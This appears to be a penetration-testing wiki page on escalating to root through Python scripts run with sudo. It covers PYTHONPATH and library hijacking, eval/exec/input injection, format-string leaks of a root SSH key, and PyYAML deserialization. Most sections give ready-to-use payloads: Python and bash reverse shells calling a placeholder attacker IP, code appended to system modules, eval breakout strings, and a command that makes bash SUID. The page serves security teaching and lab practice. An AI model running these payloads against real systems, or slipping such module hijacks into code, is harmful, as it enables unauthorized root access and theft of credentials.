# Python

## Theory

Python scripting is a powerful tool used by system administrators and developers to automate tasks and streamline processes on Unix-like systems. However, like any software, python scripts can be vulnerable to various security issues, which, if exploited, can lead to privilege escalation and unauthorized access.

## Practice

### PythonPath Hijacking

{% tabs %}
{% tab title="Enumerate" %}
Assume the python script can be executed as root with sudo rights and `SETENV`.

```bash
sudo -l
    (root) SETENV: NOPASSWD: /usr/bin/python3 /opt/scripts/example.py
```

With `SETENV`, we can change PYTHONPATH when executing the script, and insert malicious script to the module which is imported in the script.

First, we can check what module is imported in the python script (e.g. `/opt/scripts/example.py` here).

```python
import random
print(random.randint(1, 8))
```

{% endtab %}

{% tab title="Exploit" %}
We can forge the imported module

```bash
$ cat /tmp/random.py

import socket,os,pty;s=socket.socket();s.connect(("<local-ip>",9001));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")
```

Then run the python script with updating PYTHONPATH in the remote machine.

```bash
sudo PYTHONPATH=/tmp/ /usr/bin/python3 /opt/scripts/example.py
```

{% hint style="info" %}
By setting `PYTHONPATH=/tmp/`, the python script will import modules from `/tmp/` directories so the "random" module is imported from /tmp/random.py.
{% endhint %}
{% endtab %}
{% endtabs %}

### Python Library Overriding

{% tabs %}
{% tab title="Enumerate" %}
Assume the python script can be executed as root with sudo rights. If the Python script contains a **module that can be modified** by current user, we can inject arbitrary code into the module.

```bash
sudo -l
    (root): /usr/bin/python3 /opt/scripts/example.py
```

Find writable python modules

```bash
$ find / -name "*.py" -writable 2>/dev/null
/usr/lib/python3.11/random.py
```

We can check if modules on which we have write access are imported by the script

```python
import random
print(random.randint(1, 8))
```

{% endtab %}

{% tab title="Exploit" %}
We can append our payload at the end the of the module

```bash
$ echo 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKING_IP",9002));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")' >> /usr/lib/python3.11/random.py
```

Then run the python script with sudo

```bash
sudo /usr/bin/python3 /opt/scripts/example.py
```

{% endtab %}
{% endtabs %}

### Python Library Hijacking

{% tabs %}
{% tab title="Enumerate" %}
Assume the python script can be executed as root with sudo rights. If we can **write on the folder containing the script**, then python will prioritize the execution of this module instead of the usual path

```bash
sudo -l
    (root): /usr/bin/python3 /opt/scripts/example.py
```

Check what modules are imported by the script

```python
import random
print(random.randint(1, 8))
```

Check write access

```bash
$ touch /opt/scripts/random.py
```

{% endtab %}

{% tab title="Exploit" %}
Write the malicious module on the same folder as the script

```bash
$ cat /opt/scripts/random.py

#!/usr/bin/bash
import os
os.system('bash -c "/bin/bash -i >& /dev/tcp/<ATTACING_IP>/9001 0>&1"')
```

Then run the python script with sudo

```bash
sudo /usr/bin/python3 /opt/scripts/example.py
```

{% endtab %}
{% endtabs %}

### OS Commands in input()

{% tabs %}
{% tab title="Enumerate" %}
Assume the python script use **python2.x** and can be executed as root with sudo rights. If it use the `input` function and we controll its input, then the script is vulnerable to arbitrary code execution. the `input()` function is equivalent to `eval(raw_input)`.

```bash
sudo -l
    (root): /usr/bin/python2.7 /opt/scripts/example.py
```

Check if we have control over the input of the vulnerable function

```python
compute = input('\nYour expression? => ')
```

{% endtab %}

{% tab title="Exploit" %}
We can enter an OS commands in the input function

```bash
$ sudo /usr/bin/python3 /opt/scripts/example.py

Enter Your expression? => __import__('os').system('id')
#or
Enter Your expression? => __import__('os').system('bash -c "bash -i >& /dev/tcp/<ATTACKING_IP>/9001 0>&1"')
```

{% endtab %}
{% endtabs %}

### OS Commands in Eval() and Exec()

{% tabs %}
{% tab title="Enumerate" %}
Assume the python script can be executed as root with sudo rights. If it use the `eval()` or `exec()` method and we controll its input, then the script is vulnerable to arbitrary code execution.

```bash
sudo -l
    (root): /usr/bin/python3 /opt/scripts/example.py
```

Check if we have control over the input of a vulnerable function

```python
#With eval
eval(text)
eval(f"5 + {num}")
print ("Result =", eval(comp))

#With exec
code = input('What command(s) in python did you learn today?')
exec(code)
```

{% endtab %}

{% tab title="Exploit" %}
If we controll some variables passed to this vulnerables functions, we can inject arbitrary code.

```bash
$ sudo /usr/bin/python3 /opt/scripts/example.py

__import__('os').system('id')

#Bypass another expression in eval
),__import__('os').system('id')
'),__import__('os').system('id')
},__import__('os').system('id')
),__import__('os').system('id')#

#Example of a ReverseShell
__import__('os').system('bash -c "bash -i >& /dev/tcp/<ATTACKING_IP>/9001 0>&1"')
```

{% endtab %}
{% endtabs %}

### Format String Exploit

{% tabs %}
{% tab title="Enumerate" %}
The `str.format()` string method was introduced in Python 3 was later also added to Python 2.7. It allows multiple substitutions and value formatting. Vulnerability comes when our Python app uses `str.format()` in the **user-controlled string**. This vulnerability may lead attackers to get **access to sensitive information**.

Here is an example of a vulnerable code:

```python
# Let us assume this CONFIG & SECRET holds some sensitive information
CONFIG = {
	"KEY": "ASXFYFGK78989"
}
SECRET = [line.strip() for line in open("/root/.ssh/id_rsa")]

class PeopleInfo:
	def __init__(self, fname, lname):
		self.fname = fname
		self.lname = lname

def get_name_for_avatar(avatar_str, people_obj):
	return avatar_str.format(people_obj = people_obj)


# Driver Code
people = PeopleInfo('GEEKS', 'FORGEEKS')

# case 1: st obtained from user
st = input()
res = get_name_for_avatar(st, people_obj = people)
print(res)
```

{% endtab %}

{% tab title="Exploit" %}
To extract sensitive informations we can give the following strings as input:

```bash
$ sudo /usr/bin/python3 /opt/scripts/example.py

#We can extract the Config key with the following input
{people_obj.__init__.__globals__[CONFIG][KEY]}
#Output
ASXFYFGK78989

#We can extract the SSH key with the following input
SECRET_{people_obj.__init__.__globals__[SECRET]}_SECRET
#Output
SECRET_['-----BEGIN OPENSSH PRIVATE KEY-----', 'b3BlbnNzaC1rZXk'[...]]_SECRET

#Or we can try with the "self" variable (won't work here)
{self.__init__.__globals__[CONFIG][KEY]}
```

{% endtab %}
{% endtabs %}

### PyYaml Code Execution

{% tabs %}
{% tab title="Enumerate" %}
Assume the python script can be executed as root with sudo rights. If it use the `yaml.load()` method and we controll its input, then the script is vulnerable to arbitrary code execution.

```bash
sudo -l
    (root): /usr/bin/python3 /opt/scripts/example.py
```

Check if we have control over the input of a vulnerable function

```python
import yaml

filename = "example.yml"
yaml.load()
```

{% endtab %}

{% tab title="Exploit" %}
If we controll some variables passed to this vulnerables functions, we can inject arbitrary code. here are example of some payloads:

```python
#Reverse shell
import yaml
from yaml import Loader, UnsafeLoader
yaml.load('!!python/object/new:os.system ["bash -c \'bash -i >& /dev/tcp/10.10.14.12/9001 0>&1\'"]',Loader=Loader)

#SUID bit on bash
data = b'!!python/object/new:os.system ["cp `which bash` /tmp/bash;chown root /tmp/bash;chmod u+sx /tmp/bash"]'
yaml.load(data)
yaml.load(data, Loader=Loader)
yaml.load(data, Loader=UnsafeLoader)
yaml.load_all(data)
yaml.load_all(data, Loader=Loader)
yaml.load_all(data, Loader=UnsafeLoader)
yaml.unsafe_load(data)
```

{% hint style="danger" %}
Since PyYaml **version 6.0**, the default loader for load has been switched to **`SafeLoader`** mitigating the risks against Remote Code Execution. The vulnerable sinks are now **`yaml.unsafe_load`** and **`yaml.load(input, Loader=yaml.UnsafeLoader)`**
{% endhint %}
{% endtab %}
{% endtabs %}

## References

{% embed url="<https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/python-privilege-escalation/>" %}

{% embed url="<https://mikadmin.fr/blog/linux-privilege-escalation-python-library-hijacking/>" %}

{% embed url="<https://www.stackhawk.com/blog/command-injection-python/>" %}

{% embed url="<https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/>" %}
